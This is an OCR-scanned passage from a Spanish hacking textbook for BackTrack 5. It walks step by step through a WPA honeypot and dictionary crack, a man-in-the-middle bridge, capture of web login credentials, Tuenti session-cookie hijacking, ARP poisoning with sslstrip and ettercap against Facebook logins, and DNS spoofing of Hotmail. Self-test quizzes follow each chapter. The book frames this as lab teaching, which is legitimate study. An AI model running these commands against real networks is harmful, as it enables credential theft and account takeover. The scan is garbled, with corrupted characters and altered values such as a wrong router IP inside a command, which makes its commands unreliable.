No obstante, lo interesante es que para recuperar la frase de paso no
necesitamos acceder a los cuatro pasos completos de la autenticacion. Puede
obtenerse toda la informacion necesaria solo con los paquetes | y2 02y 3.

Para efectuar el ataque construiremos un honeypot WPA-PSK para esperar a
que un cliente se conecte. El cliente y la maquina atacante no tendrdn la misma clave
PSK, por lo tanto, el cliente no podréa confiar en el falso punto de acceso creado y
enviara un paquete de desautenticacion para interrumpir la conexion. Sin embargo,
en este momento ya se ha tenido acceso a los mensajes 1 y 2, por lo que podemos
recuperar todos los datos que nos hagan falta y lanzar un ataque con diccionario,
como se observa en la figura 7.21.

Cliente Hacker

PSK 256 bit

‘ Genera

% [Ataque diccionario’

WPA/WPA2-PSK

Figura 7.21. Acceso a los paquetes 1y 2 del proceso de autenticacion
en cuatro pasos aun en ausencia de PSK
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Pongamos en marcha de forma préctica el ataque para ver como funciona:

1. Configure una red inaldmbrica WPA-TKIP de nombre Laboratorio_
WPA y protéjala con una clave que se encuentre en el diccionario que
vayaausar en el ataque. Nosotros hemos elegido biscotte. A continuacion,
conecte sumaquina Windows a la red para que almacene las credenciales.

2. Abra un terminal en BackTrack e introduzca el comando airbase-ng
-c 9 -a C0:C1:C0:05:C2:30 -e Laboratorio WPA -W 1 -z 2
mon0. Con ello, se creard un punto de acceso (honeypot) WPA-PSK. La
opcion —z se refiere a WPA y 2 al algoritmo TKIP (Figura 7.22).

back | track [5
Figura 7.22. Creacion de un honeypot WPA-PSK

3. Lance ahora airodump-ng -c 9 --bssid C0:C1:C0:05:C2:30
--write WPA-sin-PA mon0 para capturar los paquetes en el archivo
WPA-sin-PA-01.cap.

4. Ahora apague su router para simular un cliente aislado. En breves
momentos el cliente contactara con el falso punto de acceso que acabamos
de configurar (Figura 7.23).

root@bt: ~

EEana Lo 5

Figura 7.23. Asociacion de |a victima con el honeypot
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El proceso de autenticacion va a ser normal hasta que el cliente solicite el
intercambio de PTK; es decir, con el segundo paquete. Dado que nuestro
honeypot no conoce la frase de paso, y por tanto tampoco la PSK del
cliente, automaticamente este ltimo procede a enviar un paquete de
desautenticacion, con lo que la conexiéon queda interrumpida, pero ya
poseeriamos todo lo necesario para realizar un ataque por diccionario.

. En cuanto se nos indique que ha capturado el handshake, ya podemos

proceder con el ataque para conseguir la contrasena (Figura 7.24).

Figura 7.24. Captura del handshake

. Lance ahora el ataque de diccionario con aircrack-ng WPA-sin-

PA-0l.cap -w /pentest/passwords/wordlists/darkcOde.lst.

. Como la frase de paso la elegimos sabiendo que estaba en dicho

diccionario, es cuestion de tiempo que aircrack-ng nos la devuelva
(Figura 7.25).

root@bt:

-

Figura 7.25. Obtencion de la contrasefia WPA
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Como se puede apreciar, a pesar de que la conexidn se interrumpe enseguida
por falta de confianza, atin es posible utilizar honeypots WPA/WPA?2 para
conducir un ataque por diccionario idéntico al estudiado en el Capitulo 4
y, aunque se trate de un vector de ataque con probabilidades inversamente
proporcionales a la fortaleza de la frase de paso, se trata de un mecanismo
que no debe ser menospreciado; sobre todo cuando muchos puntos de
acceso se encuentran mal configurados o con contrasefias por defecto.

7.5 AUTOEVALUACION 7

W ;Cual de las afirmaciones siguientes es correcta sobre el ataque caffe
latte?

a) Esuna ofensiva que permite recuperar cualquier contrasefa de red en
el cliente.

b) Permite obtener las claves de red WEP almacenadas en un cliente.

c¢) El cliente debe estar proximo a cualquier punto de acceso.

d) Ninguna de las anteriores.

W ;Cual de las opciones siguientes de airbase-ng permite lanzar el ataque
caffe latte?

a) W
b) -N
¢) -L
d) -Z

¥ (En qué consiste el ataque Hirte?

a) Enunaofensiva que se lleva a cabo sobre cualquier cliente autenticado.

b) En un ataque WEP combinacion de los ataques por fragmentacion y
caffe latte.

¢) En un ataque WPA sobre clientes aislados.

d) En una ofensiva WEP modificacion de los ataques chop-chop y caffe
latte.

¥ Cudl de las opciones siguientes de airbase-ng permite lanzar el ataque
Hirte?

a) -7
b) —N
c) L
d) Wi
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W Indique si las siguientes afirmaciones son verdaderas (V) o falsas (F):

a) Siempre podemos obtener las claves WPA almacenadas en un
dispositivo aislado.

b) Como el cifrado WPA es un mecanismo de autenticacion mutua, no es
posible recuperar la clave WPA de un cliente aislado.

c¢) Paraobtener los datos necesarios para lanzar un ataque por diccionario
y recuperar la clave WPA bastaria con almacenar los dos primeros
pasos de la autenticacion WPA.

d) La medida mas sencilla para evitar ataques a clientes aislados es
desconectar el adaptador de red.



ATAQUES AVANZADOS

Después de haber visto las técnicas mas sencillas en capitulos precedentes,
vamos a comenzar a poner en practica ataques mucho mas complejos. El primero de
ellos, del que ya hablamos brevemente, es el ataque man-in-the-middle (MitM), o
del intermediario en espafiol. Una vez comprendido su modo de funcionamiento, lo
usaremos como base para implementar otros dos ataques mas sofisticados: captura
del trafico y secuestro de la sesion.

8.1 ATAQUE DEL INTERMEDIARIO

Este ataque, conocido como MitM, es una ofensiva pasiva que se realiza
sobre redes locales, cableadas o inalambricas. Es el ataque mas potente que puede
llevarse a cabo, pues el hacker adquiere la capacidad de leer y posteriormente
insertar y modificar a voluntad los mensajes entre dos partes sin que ninguna de ellas
conozca que el canal de comunicacion ha sido violado.

Si la maquina victima quiere enviar una determinada informacion a otra,
que puede estar 0 no en la misma red, necesariamente lo tendra que hacer a través
del router. Basta con que la maquina atacante puentee la comunicacion entre victima
y punto de acceso para que aquella pueda monitorizar toda la informacién (Figura
8.1). De este modo, el atacante adquiere la capacidad de leer, insertar y modificar
a voluntad los mensajes entre dos partes, sin que ninguna de ellas conozca que el
enlace entre aquellas ha sido violado.

El ataque MitM puede incluir algunos de los siguientes subataques:
intercepcion de la comunicacion, ataques de sustitucion y ataques de repeticion.
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7~

Conexion original
Victima Router

Conexion
MitM

Atacante

Figura 8.1. Ataque del intermediario (MitM)

El modo més habitual de conducir esta ofensiva es aquel en el que el atacante
se conecta a Internet empleando una red cableada y crea a continuacion un falso punto
de acceso. Este tltimo emite un SSID idéntico al de algin punto de acceso legitimo.
De este modo, un usuario podra conectarse accidentalmente a €l o ser forzado a
hacerlo si el atacante usa una sefial mas potente que la del punto de acceso original.

El atacante puede ahora, de forma totalmente transparente a la victima,
redirigir el trafico a Internet mediante un puente entre las interfaces cableada e
inalambrica.

Estudiemos de forma préctica como llevar a cabo este ataque:
1. Conecte la maquina atacante directamente a su router mediante un cable de

red y cree a continuacion un falso punto de acceso, de nombre mitm, con el
comando airbase-ng --essid mitm —c 9 mon0 (Figura 8.2).

< root@bt: ~

Figura 8.2. Creacion del falso punto de acceso
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2. Cuando lance el comando anterior, airbase-ng generard una interfaz
inalambrica de nombre az() (Figura 8.3).

root@bt: ~

Figura 8.3. Interfaz inalambrica atQ levantada por airbase-ng

3. Ahora es el momento de crear el puente entre la red Ethernet (eth0) y
Wi-Fi (at0) con los comandos ya estudiados en el Capitulo 6 (Figura 8.4).

root@bt: ~

~ack i track (=

Figura 8.4. Creacidn del puente cableado-inalambrico
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4. Una vez creado, vamos a asignar al puente una direccion IP, como
por ejemplo 192.168.1.100 y comprobar su conectividad con el router
(192.168.1.1). S1 todo ha 1do bien vera una imagen como la siguiente:

Figura 8.5. Asignacion de la IP 192.168.1.100 al puente

5. Ahora, como ya vimos, estableceremos el redireccionamiento en el kernel
del sistema operativo (Figura 8.6).

* root@bt: ~

e Edit View ermina r

root@bt: # echo 1 > /proc/sys/net/ipvd/ip forward j
root@bt: # ®

Figura 8.6. Redireccionamiento en el kernel del SO

6. Si hemos seguido correctamente los pasos, podremos conectar a la
victima con la red mitm. Automaticamente recibird una direccion IP del
servidor DHCP. En nuestro caso, el servidor le ha asignado la direccion
192.168.1.104 (Figura 8.7).

Figura 8.7. Configuracion de red
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7. Hagamos un ping por la interfaz cableada del router (192.168.1.1) para
verificar la conexion (Figura 8.8).

Figura 8.8. Conexidn efectuada con éxito

Desde este momento, la victima puede navegar a través de Internet sin
que exista ningun indicio de que se ha violado la comunicacion.

8. Como todo el trafico de la red malambrica esta redirigido a la interfaz
cableada, tenemos control absoluto del mismo, lo que puede verificarse
en Wireshark escuchando la interfaz at0 (Figura 8.9).

53 46.309302 192,168.1.104 192.168.1.1 Echo (ping) request 1d=6x0001, seq=3/1280, ttl=128

54.46.309639 192.168.1.1 192.168.1.104 Echo (ping) reply  10=0x0001, seqs5/1280, ttle64
55 47.311555 192.168.1.104 192.168.1.1 I(HP  Echo (ping) request id=0x0001, seq=6/1536. ttl=128
56 47.311909 192.168.1.1 192,168.1.104 ICMP Echo (ping) reply  id=0x0001, seq=6/1536, ttl=64
57 48.314303  192.168.1.104 192.168.1.1 ICHP Echo (ping) request 1d=0x0001, seq=7/1792, ttl=128
58 45.314651  192.168.1.1 192.168.1.104 ICHP Echo (ping) reply  1d=0x0001, seq=7/1792, Ttl=64
59 49.316708 192.168.1.104 192.168.1.1 1P Echo (ping) request id=0x0001, seq=8/2048, ttl=128
60 49.317044  192.168.1.1 192.168.1.184 ICHP  Echo (ping) reply  id=8x0001, seq=8/2048, ttl=64
— -

Figura 8.9. Monitorizacion de los paquetes enviados y recibidos por |a victima
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8.2 CAPTURA DEL TRAFICO Y SECUESTRO DE LA SESION

En el ejercicio aprendimos a crear un puente entre las interfaces cableada
¢ inalambrica, una de las posibles arquitecturas para ejecutar un ataque del
intermediario, aunque no la Gnica. Tomando esto como punto de partida, vamos
ahora a capturar y analizar todo el trafico de red generado por la victima para obtener
datos relevantes de la misma.

Veamos brevemente como analizar los distintos paquetes de la victima para
obtener credenciales en un servicio web.

1. Repita todos los pasos del punto anterior para lanzar un ataque MitM
sobre la victima.

2. Lance Wireshark y seleccione la interfaz at0 para comenzar a capturar
todos los paquetes que pasen por la maquina atacante (Figura 8.10).

* Wireshark: Capture Interfaces

Device Description ® Packets Packetsrs | o0 | @
i ethd feB0::21e:33fffe72:dc7d 557 3 |Start| Options
¥ wian0 0 y @ MJ
= monQ unknown 2237 29 ,_SI_EU MJ
I a0 fe80:222:5ffe2e:396b 560 3 | Start|| Options|
i mitm-puente 192:168.1.100 28 1 ,St_arlj @ 1
i any Pseudo-device that captures on all interfaces sk novT 3382 36 | Start || Options |
§ usbmonl  USB bus number 1 urkriown ) 0 |start| Options
@ usbmon2  USB bus number 2 INKNOW 2289 ( |start || Options |
@ usbmon3  USB bus number 3 0 )| start)| Options |
§ usbmond  USB bus number 4 inknow 0 | start | Options |

Figura 8.10. Seleccion de at0 como interfaz de escucha en Wireshark

3. Desde este momento ya podemos monitorizar todo el tréfico enviado y
recibido por la victima (Figura 8.11).
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* at0 ([Wireshark 1.6.5 (5VN Rev Unknown from unknown)]

S

No.  Time Source _Destination _Protacol infa N j*
301 10.245331  192.168.1,103 192.168.1.1 TCP 49759 > dpkeyserv [ACK] Seg=1 Ack=1 Win=65536 Len=0
302 10.255754  192.168.1.103 192.168.1.1 Tee 49759 > dpkeyserv [PSH, ACK] Seq=1 Ack=1 Win=55536 Len
303 10.256053 192.168.1.1 192.168.1.103 e dpkeysery > 49759 [ACK] Seq=1 Ack=337 Win=6432 Len=0
304 10.265491  192.168.1.163 192.168.1.1 e 49759 > dpkeyserv [PSH, ACK] Seq=337 Ack=l Win=65536 L
395 10.265796  192.168.1.1 192.168.1.163 TP dpkeyserv > 49759 [ACK] Seq=1l Ack=650 Win=7304 Len=0
306 10.267166 1.1 1.103 dpkeyserv > 49759 [PSH. ACK] Seq=1 Ack=650 Win=7504 Le

309 10.295559 192.168.1.1 192.168.1.103 dpkeyserv > 49759 [ACK] Seq=544 Ack=651 Wins7504 Lensg
310 10.302036  192.168.1.163 192.168.1.1 49759 > dpkeyserv [ACK] 5eq=651 Ack=544 Win=65024 Len=

b S0 AL

.

+ Frame 1: 66 bytes on wire (528 bits), 66 bytes captured (526 bits)

+ Ethernet II, Src: Cisco-Li 05:c2:2e (c0:c):c0:05:¢2:2e), Dst: GemtekTe 2f:31:e6 (ac:81:12:2f:31:e6)
+ Internet Protocol Version 4, Src: 173.194.34.38 (173.194.34.38), Dst: 192.168.1.103 (192.168.1.163)
+ Transmission Control Protocol, Src Port: http (80), Dst Port: 49721 (49721), Seq: 1, Ack: 1, Len: §

@ File: “Ampwireshark_at0_2012080... Packets: 5008 Displayed; S008 Marked: 0 Dropped: 0

Profile; Default A

Figura 8.11. Monitorizacion de paquetes a través de at0

4. Abra una pagina web en el navegador de la victima que le permita
autenticarse en un servicio cualquiera; en nuestro caso, http://www.

davidarboledas.es, pues ya lo hemos preparado para este ataque
(Figura 8.12).

David M Tecnologias

Arboledas "

El autor 1 ESO lwmlmumhml Contacta

Todo para aprender
Tecnologia

no te pierdas

Una Clase

Recibe Informacion

Usuario

Contrasefia

Figura 8.12. Autenticacion de un usuario en un sitio web



196 BACKTRACK 5. HACKING DE REDES INALAMBRICAS © RA-MA

5. Inicie sesion con el nombre de usuario y contrasefia que desee y pulse
ENTRAR. Vera como una rapida sucesion de paquetes aparecen en la
ventana de Wireshark. Aplique un filtro http para ver solo el trafico web
(Figura 8.13).

« ethD [Wireshark 1.6.5 (SVN Rev Unknown from unknown)]

@ )

‘s |Expert Info [Chat/Sequence): POST /login.php WTTP/1.1\r\n]
Request Method: POST
Request URL: /login, php
Request Wersion: WTTP/L1.1
Host: waw. davidarboledas. esirin
User-Agent: MorillasS.0 (XID; Litux 1686; rv:10.0.2) Gecko/20100101 Firefox/10.0.2\r\n
Accept: text/hisl application/ahtsl«xsl, application/xml ;q=8 9, /% qud. B\rin
Accept-Language: en-us,en;g=0.5\r\n
Accept-Entoding: gzip, deflate\rin

 profie: Default A

Figura 8.13. Paquetes http capturados por Wireshark

6. Facilmente podra localizar la peticion POST que fue utilizada en el
formulario para enviar las credenciales de autenticacion en el sitio web
(Figura 8.14).

8.8,149 HTTP 519 POST /login.php HTTP/1.1 (application/x

+ Frame 5: 519 bytes on wire (4152 bits),

Host: whaw.davidarboledas. es\rin
User-Agent: Mozilla/S.0 (X11: Limux [686; rv:i10.0.2) Gecko/20100101 Firefeu/18.8.2\r\n
Accept: text/Mal,spplication/shialexal application/ml;g=0.9,%/* ;g=0.0\r\n
Accept-Language: en-us,enjge0.5\r\n
Accept-Encoding: grip, deflatevrin
Connection: keep-alive\r\n
Referer: http:// v davidarboledas. ea/\rin
Content -Type: application/s -www-form-urlencoded\rin

#+ Content-Length: 41\r\n

\rn

LEull request URI: hitp://wes davidarboledas.es/login ohpl

- Line-bas ~dutwnpphésation/x-wa- form-urlencoded

300 &c 65 6e 67 74 68 33 26 34 31 6d 0a 0d Ga Length: &1....
199
1fe
1200

Figura 8.14. Captura de las credenciales introducidas por la victima
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Como observa en la imagen anterior, toda la informacion sin cifrar que
se envie por la red puede ser capturada y utilizada a posteriori para fines
distintos. Este es el motivo por el que en muchos servicios de internet se
emplean protocolos seguros https y cookies de autenticacion, como en
las redes sociales.

Aun en este tltimo caso, es posible llegar a acceder al servicio sin obtener las
credenciales. Ello es factible gracias a que podemos secuestrar la sesiéon y hacernos
pasar por el legitimo usuario. Veamos como ponerlo en practica:

1. Abra en la maquina de la victima el servicio http.//www.tuenti.com e
mtroduzca sus credenciales de acceso mientras captura en Wireshark el
trafico que circula por la interfaz.

2. Introduzca como filiro hhtp.cookie contains “sid” y busque el valor
de la cookie de identificacion de sesion (sid), como se observa en la
figura 8.15.

Reguest Version: WTTP/1.1
HOST: Wi, EUSALL. COMI\R
User-Agent: Morillass.0 (Xil; Linux 3686; rvi10.0.2) Gecko/20100101 Firefon/10.0.1\r\n
Accept: text/hisl application/shialexs], application/ssl qe0. 9, /% ;qed B\r\n
Accept-Language: enus,en;qe0.5\r\n
Accept-Encoding: grip. deflate\rin
Refarer: MTp: /) Ti, cons Pamlogin\rin

ONT: I\r\n

Conmection: keep-alive\r\n

Ar\a

1Full request VRI: Bitp.//wer. tuenli.comi] ”
D160 Je 6 4f 64 21 31 6a 30 bc b1 67 69 bt 0d G2 IR | 1 F
170 H ] 8 73 6 iz & X '

L@+ cookie (np cookie, 69 bytes  packets 2315 Dspiayes: 73 Marked 0 Dropped ©  profie. Defauit

Figura 8.15. Captura de la cookie de identificacién de sesion en Tuenti

3. Con cualquier complemento para gestion de cookies, como por ejemplo
Cookie Editor para Google Chrome o Firefox, cree una nueva cookie
con los valores capturados (Figura 8.16).
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New Cookie ﬂ

Domain:
tuenti.com

Cookie Name:

sid

Cookie Value:

KqalBAIAAAAGE s-9YmiF)_BSmMNqNHovEWLRrd4xKIVA

Expiration D ate and Time:
08/08/2012 ~ 132328 3 | Domain scope || Secure

Figura 8.16. Creacion de una cookie sid con Cookie Editor

4. Una vez almacenada, es suficiente con ir a la pagina de Tuenti para
entrar directamente en la cuenta de la victima sin necesidad de tener que
autenticarse con el usuario y contrasefia.

8.3 TECNICAS DE SUPLANTACION DE IDENTIDAD

Las técnicas de suplantacion de identidad —conocidas por su terminologia
inglesa, spoofing—, son todas aquellas en las que una persona o programa consigue
enmascararse en una transmision para realizar generalmente un uso malicioso de la
misma.

Muchos de los protocolos del modelo TCP/IP no proveen mecanismos de
autenticacion para el origen y destino de un mensaje, por lo que son susceptibles
de suffir estos ataques de suplantacion que, en definitiva, no son sino un ataque del
intermediario.

De las diferentes técnicas de suplantacion, nos centraremos en dos:
envenenamiento ARP y envenenamiento DNS.

8.3.1 Envenenamiento ARP

ARP es el acronimo inglés para Protocolo de Resolucion de Direcciones. Es
el protocolo de la capa de enlace de datos responsable de encontrar la direccion fisica
MAC que se corresponde con una determinada direccion de Internet IP. Para ello, se
envia un paquete ARP request a la direccion de difusion de la red (FF:FF:FF:FF:FF:FF)
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que contiene la direccion IP por la que se pregunta. A continuacion, se espera a que una
maquina responda con un paquete ARP reply con la direccion MAC que le corresponda.

Cada maquina mantiene una caché con las direcciones traducidas para
reducir el retardo. Esta caracteristica —junto con el hecho de que cuando dos hosts
estan en la misma red y se quieren comunicar entre ellos es obligada la utilizacion
de este protocolo— permite que envenenando la tabla ARP, una victima sea forzada
a enviar los paquetes a la maquina atacante en lugar de hacerlo a su destino
legitimo. El atacante puede entonces elegir entre reenviar el trafico a la puerta de
enlace predeterminada real (ataque pasivo), o modificar los datos antes (ataque
activo). El atacante puede incluso lanzar un ataque de tipo DoS contra una victima,
asociando una direccion MAC inexistente con la direccion IP de la puerta de enlace
predeterminada de la victima.

Veamos de forma préctica como podemos romper con BackTrack una cuenta
de Facebook mediante un sofisticado ataque del intermediario envenenando la tabla
ARP de la victima. Para ello, usaremos los paquetes ettercap, arpspoof y sslstrip.

El escenario real en el que nos vamos a manejar es el de un sitio con acceso
publico a Internet al que ambas maquinas, victima y atacante, se encuentran dadas
de alta. Conecte entonces ambos portétiles a la red abierta Laboratorio y siga los
siguientes pasos muy atentamente:

1. Sslstrip es un guion escrito en Python que permite realizar ataques sobre
el protocolo HTTPS secuestrando el trafico HTTP sobre una red. Lo
primero que haremos sera descargarlo desde un terminal de BackTrack con
el comando wget http://www.thoughtcrime.org/ software/
sslstrip/sslstrip-0.9.tar.gz.

2. A continuacion, descomprimalo con tar zxvf sslstrip-0.9.tar.
gz e Instalelo desde su carpeta con python ./setup.py install.

3. Ahora necesitara editar el fichero de configuracion del programa Ettercap
para que pueda intervenir las conexiones SSL. En una consola escriba
gedit /etc/etter.conf y elimine las almohadillas (#) de las lineas
168 y 169 de la seccion Linux. Debe quedarle de forma idéntica a la que
puede ver en la imagen siguiente:

# if you use ptables:
redir_command_on = “iptables -t nat -A PREROUTING -1 ¥iface -p tcp --dport ¥port -j REDIRECT --to-port ¥rport”
redir_comnand_off = "iptables -t nat -D PREROUTING -1 %iface -p tcp -~dport %port -j REDIRECT --to-port %rport”

Figura 8.17. Modificacion del fichero etter.conf
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4. El siguiente paso es hacer que nuestra maquina enrute el trafico que le
llegue para que la victima no se quede sin Internet cuando el ataque esté
en marcha. Para ello, escriba echo 1 > /proc/sys/net/ ipv4/
ip forward

5. Ahora vamos a redireccionar las peticiones del puerto 80 al puerto
10000, que es el puerto por defecto de la aplicacion sslstrip. En el mismo
terminal, introduzca iptables -t nat -A PREROUTING -p tcp
--destination-port 80 -j REDIRECT --to-ports 10000
(Figura 8.18).

Figura 8.18. Redireccion de peticiones del puerto 80 al 10000

6. Y parafinalizar, arranque sslstripcon ss1strip -a -k -£ (Figura 8.19).

root@bt: ~

Figura 8.19. Ejecucion de sslstrip

7. Llegados a este punto, abra una nueva consola para realizar una
busqueda de las maquinas que estan activas en la red. Para ello, va a
usar la herramienta Nmap, de la que hablaremos en profundidad en el
Anexo A del libro. Como la IP del router es de clase C (192.168.1.1),
la direccion de red serd 192.168.1.0/24. Asi pues, escriba nmap -sP
192.168.1.0/24 (Figura 8.20).
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< root@bt: ~

Figura 8.20. Bisqueda de méaquinas en una red con Nmap

Como ve en la imagen, hay tres maquinas en la red: los dos portatiles
y el punto de acceso. La victima tiene por IP 192.168.1.103 y MAC
AC:81:12:2F:31:E6.

. Ahora ya estamos en disposicion de lanzar el ataque del intermediario

envenenando la tabla ARP. En un terminal, escriba arpspoof -i
wlan0 -t 192.168.1.103 182.168.1.1 (Figura8.21).

root@bt: ~

T L :
oty 182, I"J:‘-.ta

- ATDT 1.1 is-at

37

| ."'_4-‘

Figura 8.21. Envenenamiento de la tabla ARP

. Fijese en que tras lanzar arpspoof la tabla ARP de la victima se ha

modificado para que la direccion IP de la puerta de enlace se corresponda
con laMAC del atacante. De este modo, toda la informacion pasa primero
por la méaquina del hacker, como puede ver en la imagen siguiente:
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0 0C

O
o]
o
o

Figura 8.22. Tabla ARP modificada tras el envenenamiento

10.Fialmente, abra un ultimo terminal y ejecute el ataque con Ettercap.
Para ello, escriba ettercap -T -qg -i wlan0O (Figura 8.23).

*x root@bt: ~
File Edit View Terminal Helg

t:A_. ettercap -T -q -i wlan@ N
ettercap 8.7.4.1 copyright 2601-2011 ALOR & NaGA

Listening on wlan@... (Ethernet)

wlang -> ©0:22:5F:2E:39:68  192.168.1.104  255.255.255.0

SSL dlssectiun needs a valid ‘redir command on' script in the etter.conf file
Privileges dropped to UID 65534 GID 65534...

28 plugins

40 protocol dissectors

55 ports monitored
7587 mac vendor fingerprint
1766 tcp 05 fingerprint
2183 known services

starting Unified sniffing...

Text only Interface activated...
it 'h* for inline help

Figura 8.23. Ejecucion del ataque MitM con Ettercap
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11.Vuelva a la victima y en el navegador web introduzca http.//www.
facebook.com. Cuando se autentique, vera que aparecen en el terminal de
Ettercap su usuario y contrasefia (Figura 8.24).

root@bt: ~

Figura 8.24. Obtencion de las credenciales con Ettercap

jEnhorabuena! Ha conseguido crackearse a si mismo.

8.3.2 Envenenamiento DNS

Se trata de una suplantacion de identidad por nombre de dominio, lo que
se consigue falseando las entradas de la relacion nombre de dominio-IP en un
servidor DNS. Cuando introducimos en un navegador la direccion de un determinado
servicio, el servidor DNS resuelve a qué direccion IP se corresponde la misma. Asi
pues, un envenenamiento DNS consigue resolver con una direccion IP falsa un
cierto nombre DNS o viceversa, lo que hace que cuando el usuario introduce una
determinada direccion web, sea dirigido a otra diferente.
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jPongdmonos manos a la obra!

1.

Conecte ambos portatiles a la red Laboratorio para simular una situacion
en la que victima y atacante se encuentran en una zona Wi-Fi gratis.

. Abra Wireshark y aplique un filtro DNS mientras la victima teclea en

su navegador www.hotmail.com. Observe como la maquina de la futura
victima hace las peticiones DNS para hotmail.com.

Para secuestrar la sesion del navegador de la victima vamos a enviar
falsas respuestas DNS que resolveran la direccion IP de hotmail.com
hacia la IP de la maquina atacante, 192.168.1.100. En primer lugar, debe
editar el fichero etter.dns, para ello, escriba en un terminal el comando
locate etter.dns.

. Copie la ruta del archivo y dbralo mediante gedit /usr/share/

ettercap/etter.dns. Introduzca al comienzo del fichero las lineas
marcadas en la figura 8.25 y guardelo:

< *etter.dns (/usr/local/share/ettercap) - gedit

!J NOTE: the wildcarded hosts can't be used to poison the PTR requests
[# so if you want to reverse poison you have to specify a plain

host. (look at the www.microsoft.com example)

hotmail.com A 192.168.1.186
*hotmail.com A 192,168.1.188
www. hotmail.com PTR 192.168.1.100

Figura 8.25. Modificacion del fichero etter.dns

De este modo, cuando el usuario quiera acceder a http://www.hotmail.
com, le reenviaremos a la maquina del atacante (192.168.1.100).

En este momento, tan solo nos queda llevar a cabo un ataque del
intermediario y el envenenamiento DNS para que la victima se redirija
a nuestra maquina cuando consulte el servicio de correo (Figura 8.26).
Abra un terminal y escriba ettercap -T -q -i wlan0 -P dns_
spoof -M arp // //.
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Figura 8.26. Ataque MitM y envenenamiento DNS

6. Una vez que dns_spoof esté en marcha, escriba en el navegador de la
victima la direccion de Hotmail. El navegador le dird que no puede
establecer la conexion, entre otros motivos, porque estd intentando
establecerla con la maquina del atacante, que no tiene de momento
ningun servicio escuchando en el puerto 80 (Figura 8.27).

{Vayal Google Chrome no ha podido establecer conexién con la pagina Gougle
www.hotmail.com.

Prueba a volver a cargar: www.hotmall.com

Sugerencias adicionales:
+ Acceds 8 una Copd imacenids &0 caché de wwi hatmail eom.

« Buscar an Google:
hotmad | Buscac con Google.

Figura 8.27. Al carecer el atacante de un servicio escuchando en el puerto 80,
la conexion resulta fallida
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7. Asi que ahora pondremos en marcha el servidor Apache con el comando
apache2ctl start.

8. Refresque ahora con F5 el navegador de la victima. El resultado sera el
que observa en la figura 8.28. jTodo un éxito!

[ hotmaiL.com &
€« - C [ hotmail.com
P Computer Hoy % Comeo (LM Al EiTiempo [ ELPAKS [ Facebook | Intanet [ Manusies Programas [ | Papas20 ™

It works!

This is the default web page for this server.
The web server software is nuning but no content has been added, yet

Figura 8.28. La victima es redirigida con éxito al servidor montado en la maquina atacante

Como se podra imaginar, las posibilidades de este conjunto de ataques son
ilimitadas. SET (Social-Engineering Toolkit), incluye cientos de herramientas con
las que planificar intrusiones perfectas desde el punto de vista técnico. Podemos
clonar sitios enteros a los que redirigir a la victima con un envenenamiento DNS
y robar las credenciales, seremos capaces de recorrer el disco de su ordenador y
descargar cualquier archivo e incluso en un sistema Windows copiar el archivo SAM
del que recuperar las credenciales de acceso al sistema. Y todo ello solo conseguido
con un error del usuario, aceptar un enlace que le ofreciamos. Una vez abierto, ni
un antivirus ni las Gltimas actualizaciones del sistema operativo han servido para
protegerle, como hemos visto en el ejercicio previo; de ahi la importancia de no abrir
enlaces en correos o paginas sospechosos.
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8.4 AUTOEVALUACION 8

P ;Quién es quien se encuentra en medio en un ataque MitM?

a) El atacante.

b) La victima.

¢) El punto de acceso.

d) Ninguna de las anteriores.

¥ (Coémo se denomina el protocolo responsable de encontrar la MAC que
se corresponde con una determinada direccion [P?

a) IP.

b) TCP.
c) ARP.
d) UDP.

¥ ;Con cudl de los siguientes comandos identificaria las maquinas que estan
activas en una red en la que el punto de acceso tiene por IP 192.168.1.6?

a) nmap —sP 192.168.1.6/16.
b) nmap —sP 192.168.1.0/24.
¢) nmap —sP 192.168.1.0/8.

d) Ninguno de los anteriores.

¥ (En qué consiste un envenenamiento DNS?

a) En modificar las tablas direccion fisica-IP.

b) En falsear las entradas nombre de dominio-IP.
c¢) Las dos opciones son correctas.

d) Todas son falsas.



INGENIERIA SOCIAL

En el campo de la seguridad informatica, la ingenieria social es la practica
de obtener informacion confidencial a través de la manipulacion de los legitimos
usuarios. Es una técnica que pueden usar ciertas personas, tales como investigadores
privados y delincuentes para obtener informacion, acceso o privilegios en sistemas
de informacion que les permitan realizar algiin acto que perjudique o exponga a los
organismos o personas comprometidos.

Los ataques de ingenieria social son unas de las técnicas mas avanzadas de
intrusion en redes. ;Para qué pasar dias o semanas intentando entrar en una red si
podemos engafiar en segundos a un cliente para que ejecute un determinado archivo
con el que conseguiremos acceso ilimitado a su maquina, evitando incluso antivirus
y cortafuegos?

El principio que sustenta la ingenieria social es que en cualquier sistema los
usuarios, las personas, son el eslabon mas débil. En la practica, un ingeniero social
usara comunmente el teléfono o Internet para engaiiar a la gente, fingiendo ser, por
ejemplo, un empleado de algiin banco o de alguna otra empresa, un compafiero de
trabajo, un técnico o un cliente. Via Internet se usa a menudo el envio de solicitudes
falsas de renovacion de permisos de acceso a paginas web que solicitan respuestas
para asi revelar informacion sensible. Con este método, los ingenieros sociales
aprovechan la tendencia natural de la gente a reaccionar de manera predecible en
ciertas situaciones.

Quiza el ataque mas simple pero mas efectivo sea el phishing, que consiste
en engafiar a un usuario llevandolo a pensar que un administrador del sistema le
solicita una contrasefia para algin proposito legitimo: crear una cuenta, reactivar
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una configuracion, etc. La unica medida realmente efectiva contra estos ataques de
ingenieria social consiste en la educacion. Hay que advertir frecuentemente a los
usuarios para que no divulguen sus contrasefias u otra informacion sensible a nadie,
ni siquiera a quienes dicen ser administradores. En realidad, los administradores de
sistemas informaticos nunca necesitan saber la contrasefia de los usuarios para llevar
a cabo sus tareas.

Otro ejemplo cada vez mas habitual de ataques de ingenieria social es el uso
de archivos adjuntos en correos electronicos que ofrecen, por ejemplo, fotos eroticas
de alguna persona famosa o algtin programa gratuito, que incluso proceden de algun
contacto conocido y que terminan ejecutando cddigo malicioso.

La principal defensa contra la ingenieria social, independientemente de
la forma que tome el ataque, vuelve a ser la educacion y el entrenamiento de los
usuarios en el uso de politicas de seguridad, y asegurarse de que estas sean seguidas.

9.1 PSICOLOGIA HUMANA

Las aptitudes psicologicas de las personas dependen de la informacion que
cada uno de nuestros sentidos nos induzca a percibir. Este fenomeno permite clasificar
los sentidos humanos en vista, olfato, gusto, audicion, tacto, aceleracion, equilibrio,
temperatura, dolor y propiocepcion. Todos ellos nos permiten ver el mundo en el que
vivimos con realidades diferentes.

Desde el punto de vista de la ingenieria social y la seguridad informatica,
cualquier informacion extraida de la victima a través de los sentidos dominantes dara
un importante plus de éxito al ataque. En la vida real se utilizan fundamentalmente
dos técnicas para la obtencion de la informacion: entrevista e interrogatorio; ambas
acompafiadas de un entorno y conocimiento adecuados. Todos estos factores
